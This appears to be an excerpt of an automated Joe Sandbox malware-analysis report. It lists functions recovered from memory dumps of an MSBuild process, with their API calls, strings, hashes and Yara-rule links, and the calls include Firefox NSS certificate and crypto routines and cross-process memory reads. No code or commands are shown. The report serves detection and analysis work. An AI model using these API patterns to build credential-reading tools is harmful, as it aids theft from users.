Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 1ef750c3da8bd554249af2be4682fe28a7214a9fda5cb540f0f0499ac01dcc60
Instruction ID: 170008d2b248a6dac6df5cacbd3238be6a4bc1abd9d224a85ffebcf6f0d8f3fd
Opcode Fuzzy Hash: 1ef750c3da8bd554249af2be4682fe28a7214a9fda5cb540f0f0499ac01dcc60
Instruction Fuzzy Hash: 59F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005451F605D2160E6B75E4087A0

Function 6CC0CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC0CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC0CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC0D079

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: c3ae24d18277e14e2daa770a2c42c5b76f03a92b55484403dd95f831bfeb0c52
Instruction ID: 34a5c84b01ad25a52a3c804fdbf6ca5be69e08c02210c572ac202bc601ca4e7b
Opcode Fuzzy Hash: c3ae24d18277e14e2daa770a2c42c5b76f03a92b55484403dd95f831bfeb0c52
Instruction Fuzzy Hash: A6C16AB1A002199BDB20DF25CC80BDAB7B4BB48318F1441A8E95CA7741F776EE95CF91

Function 6CBC2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(9BDD8FAA), ref: 6CBC2C5D

Part of subcall function 6CC20D30: calloc.MOZGLUE ref: 6CC20D50
Part of subcall function 6CC20D30: TlsGetValue.KERNEL32 ref: 6CC20D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CBC2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBC2CE0

Part of subcall function 6CBC2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBC2CDA,?,00000000), ref: 6CBC2E1E
Part of subcall function 6CBC2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CBC2E33
Part of subcall function 6CBC2E00: TlsGetValue.KERNEL32 ref: 6CBC2E4E
Part of subcall function 6CBC2E00: EnterCriticalSection.KERNEL32(?), ref: 6CBC2E5E
Part of subcall function 6CBC2E00: PL_HashTableLookup.NSS3(?), ref: 6CBC2E71
Part of subcall function 6CBC2E00: PL_HashTableRemove.NSS3(?), ref: 6CBC2E84
Part of subcall function 6CBC2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CBC2E96
Part of subcall function 6CBC2E00: PR_Unlock.NSS3 ref: 6CBC2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CBC2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CBC2D3F
free.MOZGLUE(00000000), ref: 6CBC2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CBC2DB8
free.MOZGLUE ref: 6CBC2DC8

Part of subcall function 6CBC3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC3EC2
Part of subcall function 6CBC3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBC3ED6
Part of subcall function 6CBC3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBC3EEE
Part of subcall function 6CBC3E60: PR_CallOnce.NSS3(6CD22AA4,6CC212D0), ref: 6CBC3F02
Part of subcall function 6CBC3E60: PL_FreeArenaPool.NSS3 ref: 6CBC3F14
Part of subcall function 6CBC3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBC3F27

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: a1857a8a3b03d0910ac8bc1f43449a88f1fac476b322f31358b110382dc935b9
Instruction ID: db23b9898fbdaaea9680a25752e450c0df0c55f8be86977f3e101c592b3394fd
Opcode Fuzzy Hash: a1857a8a3b03d0910ac8bc1f43449a88f1fac476b322f31358b110382dc935b9
Instruction Fuzzy Hash: 6751BB71B043629BEB01DF29DC89B5B77E5EFA4348F150438EC9993A50EB31E8158B93

Function 6CADCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAA31A7), ref: 6CADCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CADCFA4, 6CADCFB8
<jemalloc>, xrefs: 6CADCF9F, 6CADCFB3

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e93e5f3891917c6d20f58cdc79c1df521b0d4e93454df5dfe644660e4f7466f3
Instruction ID: 8397d54c54e190251422d6625e199f2afdaa3b5c52f1dd59ca219b1b5f7087ff
Opcode Fuzzy Hash: e93e5f3891917c6d20f58cdc79c1df521b0d4e93454df5dfe644660e4f7466f3
Instruction Fuzzy Hash: 7631C271B403066BEF10AFA98C45BBE7B75BB4571CF654014F615ABA80DF74E8808BA2

Function 6CC24DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CC2536F,00000022,?,?,00000000,?), ref: 6CC24E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CC24F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CC24F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CC24FAE
free.MOZGLUE(?), ref: 6CC24FC8

Strings

%s=%c%s%c, xrefs: 6CC24FA9
%s=%s, xrefs: 6CC24F89

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 0100671793396abf5ec8aaf06973cd0e7db0471e4ee018632a6702bbfa5cd918
Instruction ID: 0b5f130d4c39c6d2bb02447c7f96c35f52ebeb5c3775dd581066caa4e552b1f9
Opcode Fuzzy Hash: 0100671793396abf5ec8aaf06973cd0e7db0471e4ee018632a6702bbfa5cd918
Instruction Fuzzy Hash: 89513A31A051558BFB11CA6AC4907FFBBF5AF86308F288126E894E7B41F33D98458791

Function 6CAAECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAAF100: LoadLibraryW.KERNEL32(shell32,?,6CB1D020), ref: 6CAAF122
Part of subcall function 6CAAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAAF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CAAED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CAAEDCC
CreateFileW.KERNEL32 ref: 6CAAEE08
free.MOZGLUE(00000000), ref: 6CAAEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CAAEE32

Part of subcall function 6CAAEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CAAEBB5
Part of subcall function 6CAAEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CADD7F3), ref: 6CAAEBC3
Part of subcall function 6CAAEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CADD7F3), ref: 6CAAEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CAAEDC1

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: cea13fe4cf592ccdc2aef6cf7748d4ae94a86e1d04d80dde326be2aaaf75c33d
Instruction ID: 72688e6f164243d1c77f2ac390d3ba10988506233a986f40409af1f3eae8f305
Opcode Fuzzy Hash: cea13fe4cf592ccdc2aef6cf7748d4ae94a86e1d04d80dde326be2aaaf75c33d
Instruction Fuzzy Hash: 70510171D052449BDB10DFA8C9407EEB7B1AF59318F08882DE8557BB40E73469DACBA2

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 00413259 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413278
StrCmpCA.SHLWAPI(00000000,004367D8), ref: 004132B1
strtok_s.MSVCRT ref: 00413371

Strings

xA, xrefs: 0041326B, 0041326E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: xA
API String ID: 3330995566-34346596
Opcode ID: b01048b4caaf2d781f6d9571aa0d0e9d3a4acf772d059dc07aa8dac5df416a25
Instruction ID: 735330a1d008a833b374886be4d947a81621c86a210c44f2da093846d2bcbd8c
Opcode Fuzzy Hash: b01048b4caaf2d781f6d9571aa0d0e9d3a4acf772d059dc07aa8dac5df416a25
Instruction Fuzzy Hash: 64319671E001099FCB14DF68CC85BAA77A8BB08717F51505BEC05DA191EB7CCB818B4C

Function 6CBD8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CBE124D,00000001), ref: 6CBD8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CBE124D,00000001), ref: 6CBD8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CBE124D,00000001), ref: 6CBD8D73
PR_Unlock.NSS3(?,?,?,?,?,6CBE124D,00000001), ref: 6CBD8D8C

Part of subcall function 6CC6DD70: TlsGetValue.KERNEL32 ref: 6CC6DD8C
Part of subcall function 6CC6DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC6DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CBE124D,00000001), ref: 6CBD8DBA

Strings

KRAM, xrefs: 6CBD8CF9
KRAM, xrefs: 6CBD8D3E

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 693690a86063663ab2c825cbc3ada8164f25b58b5187362bbe8b7a01f7692a08
Instruction ID: 695d4a9d04f1e24faf8ba8b65fa5e4ddb3f955d33f894bacd04d89cd6acd30e7
Opcode Fuzzy Hash: 693690a86063663ab2c825cbc3ada8164f25b58b5187362bbe8b7a01f7692a08
Instruction Fuzzy Hash: DF219EB4A046518FCB00AF39C58466AB7F0FF45305F16896ED99887741EB31E841CBD2

Function 6CBFACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CBFACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBFAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBFAD23

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBFAD39

Strings

hSession = 0x%x, xrefs: 6CBFACFE, 6CBFAD0E
(CK_INVALID_HANDLE), xrefs: 6CBFAD1C
C_MessageDecryptFinal, xrefs: 6CBFACE1

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 719e2e6dba12a93eab3bacf528e5ba62920da047815760db6be6fe93e2d80082
Instruction ID: 8a75910455e38822cd06dbe02e9cfc1b619a45794ede5393ee409be84c45b2d2
Opcode Fuzzy Hash: 719e2e6dba12a93eab3bacf528e5ba62920da047815760db6be6fe93e2d80082
Instruction Fuzzy Hash: EC2128746011949FEB049B14DD98B6E777CEB4231DF454025FB1997B11EB38A80ECAA2

Function 6CCD0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CCD0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CCD0EFA

Part of subcall function 6CBBAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBBAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CCD0ED9, 6CCD0EE5, 6CCD0F06, 6CCD0F0B
Aborting, xrefs: 6CCD0EB3

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 9d63e64775fb26f61bcbf517581f850a607b6d58f1716b0ea3d17f09b8da4f1a
Instruction ID: 42e1229dd02a9992b6e56b0d17cf5c8c7e350b7fd3d3d645332b418c22f4946f
Opcode Fuzzy Hash: 9d63e64775fb26f61bcbf517581f850a607b6d58f1716b0ea3d17f09b8da4f1a
Instruction Fuzzy Hash: 5B01C4B5A00104BBDF016F58DC4689B3F3CEF87368B114024FE0987B11E631E911D7A2

Function 6CAE9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAB4A68), ref: 6CAE945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE9482
__Init_thread_footer.LIBCMT ref: 6CAE949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAE947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAE946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAE9459

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 3f1812af4d9d387aa5949be642b56fcdaa276f0c6ac58f8ed789b548e7b3da23
Instruction ID: 3dc2b6f63c7986c78484dd20ab9222849dda37831a814ebbd5aa62456ca2e247
Opcode Fuzzy Hash: 3f1812af4d9d387aa5949be642b56fcdaa276f0c6ac58f8ed789b548e7b3da23
Instruction Fuzzy Hash: 19012874A0020187E7009B7CDA00AEA33B99B49339F080536DC1A87B51E679ECD5899B

Function 6CC94D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC94DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC94DE0

Strings

API call with %s database connection pointer, xrefs: 6CC94DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC94DCB
invalid, xrefs: 6CC94DB8
misuse, xrefs: 6CC94DD5
%s at line %d of [%.10s], xrefs: 6CC94DDA

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 326f9ef2bc3b3975dbfc8e315de1fcdbee9b160a0a4865a30621913589b25c25
Instruction ID: 979b95f4d10856fde5f13188077aaf616e4d31e488ab3562e6b7f7262e194b97
Opcode Fuzzy Hash: 326f9ef2bc3b3975dbfc8e315de1fcdbee9b160a0a4865a30621913589b25c25
Instruction Fuzzy Hash: CAF0E92BF156682BD7509255CC20F8637955F01719F5609E1FE346BE72F205995083D1

Function 6CC94DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

